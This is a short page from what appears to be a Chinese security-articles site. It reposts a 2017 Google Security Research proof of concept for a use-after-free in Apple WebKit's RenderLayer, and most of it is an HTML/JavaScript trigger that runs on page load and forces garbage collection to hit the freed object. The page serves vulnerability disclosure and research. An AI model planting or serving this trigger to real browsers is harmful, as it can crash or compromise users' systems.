Apple WebKit - 'RenderLayer' Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Apple WebKit - 'RenderLayer' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2017-04-05

<script>

function go() {
div.style.setProperty("-webkit-flow-into", "foo");
document.execCommand("fontSize", false, 6);
window.requestAnimationFrame(cb);
h1.attachShadow({mode: "open"});
h1.replaceWith("foo");
}

function cb() {
var a;
//trigger garbage collector
for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
}
textarea.cols = 1;
}

</script>
<body onload=go()>
<textarea id="textarea"></textarea>
<h1 id="h1">
<div id="div" style="perspective: 1px;">

[